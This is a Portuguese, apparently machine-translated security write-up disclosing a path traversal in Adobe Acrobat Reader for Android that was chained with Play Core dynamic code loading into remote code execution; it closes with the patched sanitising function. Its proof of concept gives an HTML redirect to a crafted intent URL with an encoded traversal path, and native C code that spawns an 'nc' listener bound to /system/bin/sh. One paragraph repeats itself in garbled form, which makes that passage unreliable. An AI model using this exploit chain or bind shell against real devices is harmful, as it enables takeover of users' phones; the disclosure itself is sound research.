Ao testar o aplicativo Adobe Acrobat Reader, foi encontrado nele um recurso que permite ao usuário abrir arquivos PDF diretamente de http/https url . Esta função era vulnerável a um erro de path traversal. O Abode Reader usou a biblioteca principal do Google Play para carregamento de código dinâmico. Usando o erro de path traversal e o carregamento dinâmico de código, consegui obter a execução remota de código.
# Encontrar vulnerabilidade de passagem de caminho
<activity android:theme="@style/Theme_Virgo_SplashScreen" android:name="com.adobe.reader.AdobeReader" android:exported="true" android:launchMode="singleTask" android:screenOrientation="user" android:configChanges="keyboardHidden|screenLayout|screenSize|smallestScreenSize" android:noHistory="false" android:resizeableActivity="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<action android:name="android.intent.action.EDIT"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="file"/>
<data android:scheme="content"/>
<data android:scheme="http"/>
<data android:scheme="https"/>
<data android:mimeType="application/pdf"/>
</intent-filter>
O aplicativo tem um filtro de intenção que indica que aceitará um esquema de url http/https e o mimeType deve ser application/pdf para esta atividade. Quando uma intenção com um URL de dados, como , é enviada para um Adobe Reader, ele baixa um arquivo na pasta /sdcard/Downloads/Adobe Acrobot chamado LastPathSegment. Quando uma intenção com um URL de dados como http://localhost/test.pdf é enviada para o aplicativo Adobe Reader, ele baixa o arquivo para a pasta /sdcard/Downloads/Adobe Acrobat com o nome do arquivo como LastPathSegment (ou seja, test. pdf) url enviado. A atividade com.adobe.reader.AdobeReader recebe uma intenção e inicia uma atividade ARFileURLDownloadActivity.
public void handleIntent() {
Intent intent2 = new Intent(this, ARFileURLDownloadActivity.class);
intent2.putExtra(ARFileTransferActivity.FILE_PATH_KEY, intent.getData());
intent2.putExtra(ARFileTransferActivity.FILE_MIME_TYPE, intent.getType());
startActivity(intent2);
}
Este ARFileURLDownloadActivity inicia o serviço com.adobe.reader.misc.ARFileURLDownloadService.
public void onMAMCreate(Bundle bundle) {
super.onMAMCreate(bundle);
this.mServiceIntent = new Intent(this, ARFileURLDownloadService.class);
Bundle bundle2 = new Bundle();
//...//
this.mServiceIntent.putExtras(bundle2);
startService();
}
Em com.adobe.reader.misc.ARFileURLDownloadService.java
public int onMAMStartCommand(Intent intent, int i, int i2) {
Bundle extras = intent.getExtras();
//..//
String string = extras.getString(ARFileTransferActivity.FILE_MIME_TYPE, null);
ARURLFileDownloadAsyncTask aRURLFileDownloadAsyncTask = new ARURLFileDownloadAsyncTask(ARApp.getInstance(), (Uri) extras.getParcelable(ARFileTransferActivity.FILE_PATH_KEY), (String) extras.getCharSequence(ARFileTransferActivity.FILE_ID_KEY), true, string);
this.mURLFileDownloadAsyncTask = aRURLFileDownloadAsyncTask;
aRURLFileDownloadAsyncTask.taskExecute(new Void[0]);
return 2;
}
Em com.adobe.reader.misc.ARURLFileDownloadAsyncTask.java
private void downloadFile() throws IOException, SVFileDownloadException {
Exception exc;
boolean z;
Throwable th;
boolean z2;
Uri fileURI = this.mDownloadModel.getFileURI();
URL url = new URL(fileURI.toString());
try {
String downloadFile = new ARFileFromURLDownloader(new ARFileFromURLDownloader.DownloadUrlListener() {
ARFileFromURLDownloader.DownloadUrlListener
public void onProgressUpdate(int i, int i2) {
ARURLFileDownloadAsyncTask.this.broadcastUpdate(0, i, i2);
}
@Override // com.adobe.reader.misc.ARFileFromURLDownloader.DownloadUrlListener
public boolean shouldCancelDownload() {
return ARURLFileDownloadAsyncTask.this.isCancelled();
}
}).downloadFile(BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData(fileURI.getLastPathSegment(), this.mDownloadModel.getMimeType(), null, fileURI), url);
//...//
O método BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData usa this.mUri.getLastPathSegment() como um argumento e retorna o último segmento decodificado no caminho do URL. Por exemplo, vamos pegar esta url https://localhost/x/../../file.pdf e quando esta url for passada para o método getLastPathSegment(), levará ..%2F..%2Ffile.pdf como o URL do último segmento e retornará ../../file.pdf como resultado. A variável downloadFile não foi validada antes de ser passada para a instância File, resultando em uma vulnerabilidade de path traversal.
# Obter RCE
O aplicativo Adobe Acrobat Reader usou a biblioteca principal do Google Play para fornecer funcionalidade adicional a seus usuários. Uma maneira fácil de descobrir se um aplicativo usa a biblioteca play core para carregamento de código dinâmico é verificar a presença do diretório spiltcompat no diretório /data/data/:application_id/files/. Usando o erro path traversal, posso gravar um apk arbitrário no diretório /data/data/com.adobe.reader/files/splitcompat/1921618197/verified-splits/ do aplicativo. As classes do apk do invasor serão adicionadas automaticamente ao ClassLoader do aplicativo e o código malicioso será executado quando chamado do aplicativo. Para uma explicação mais detalhada, leia este artigo
O aplicativo Adobe Reader também carrega um módulo chamado FASOpenCVDF.apk enquanto o aplicativo está em execução. O plano era sobrescrever este arquivo e executar o código remotamente, mas isso falhou. O problema era que, com essa vulnerabilidade de path traversal, não era possível sobrescrever os arquivos existentes... apenas criar novos arquivos. Estou preso neste ponto há muito tempo procurando uma maneira de executar o código remotamente sem instalar um apk extra. Depois de analisar outros aplicativos que usam a biblioteca play core instalada em meu dispositivo, vi que a biblioteca play core também fornece a capacidade de carregar código nativo (arquivos .so) do diretório /data/data/com.adobe.reader/files/ diretório splitcompat/: id/native-libraries/. O módulo FASOpenCVDF.apk também carregou a biblioteca nativa do diretório /data/data/com.adobe. reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a. Resolvi dar uma olhada no código-fonte do FASOpenCVDF.apk e descobri que esse módulo também tenta carregar três bibliotecas indisponíveis libADCComponent.so, libColoradoMobile.so e libopencv_info.so, o que resolveu meu problema com a execução remota de código. Criei uma biblioteca poc nativa simples, renomeei-a para libopencv_info.so e soltei-a no diretório /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a e do diretório próximo início em qualquer um usando a função preencher e assinar executará um código malicioso. so e libopencv_info.so, que resolveram meu problema de execução remota de código. Criei uma biblioteca poc nativa simples, renomeei-a para libopencv_info.so e soltei-a no diretório /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a e do diretório próximo início em qualquer um usando a função preencher e assinar executará um código malicioso. so e libopencv_info.so, que resolveram meu problema de execução remota de código. Criei uma biblioteca poc nativa simples, renomeei-a para libopencv_info.so e soltei-a no diretório /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a e do diretório próximo início em qualquer um usando a função preencher e assinar executará um código malicioso.
# Prova de conceito
<html>
<title> RCE in Adobe Acrobat Reader for android </title>
<body>
<script>
window.location.href="intent://34.127.85.178/x/x/x/x/x/..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.adobe.reader%2Ffiles%2Fsplitcompat%2F1921819312%2Fnative-libraries%2FFASOpenCVDF.config.arm64_v8a%2Flibopencv_info.so#Intent;scheme=http;type=application/*;package=com.adobe.reader;component=com.adobe.reader/.AdobeReader;end";
</script>
</body>
</html>
#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
if (fork() == 0) {
system("toybox nc -p 6666 -L /system/bin/sh -l");
}
JNIEnv* env;
if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
return JNI_ERR;
}
return JNI_VERSION_1_6;
}
# Correção de vulnerabilidade!
Em com.adobe.libs.buildingblocks.utils.BBIntentUtils.java
private static final String FILE_NAME_RESERVED_CHARACTER = "[*/\\|?<>\"]";
public static String getModifiedFileNameWithExtensionUsingIntentData(String str, String str2, ContentResolver contentResolver, Uri uri) {
if (TextUtils.isEmpty(str)) {
str = BBConstants.DOWNLOAD_FILE_NAME;
}
String str3 = null;
if (!(contentResolver == null || uri == null)) {
str3 = MAMContentResolverManagement.getType(contentResolver, uri);
}
String str4 = !TextUtils.isEmpty(str3) ? str3 : str2;
if (!TextUtils.isEmpty(str4)) {
String fileExtensionFromMimeType = BBFileUtils.getFileExtensionFromMimeType(str4);
if (!TextUtils.isEmpty(fileExtensionFromMimeType)) {
if (str.lastIndexOf(46) == -1) {
str = str + '.' + fileExtensionFromMimeType;
} else {
String mimeTypeForFile = BBFileUtils.getMimeTypeForFile(str);
if (TextUtils.isEmpty(mimeTypeForFile) || (!TextUtils.equals(mimeTypeForFile, str3) && !TextUtils.equals(mimeTypeForFile, str2))) {
str = str + '.' + fileExtensionFromMimeType;
}
}
}
}
return str.replaceAll(FILE_NAME_RESERVED_CHARACTER, "_");
}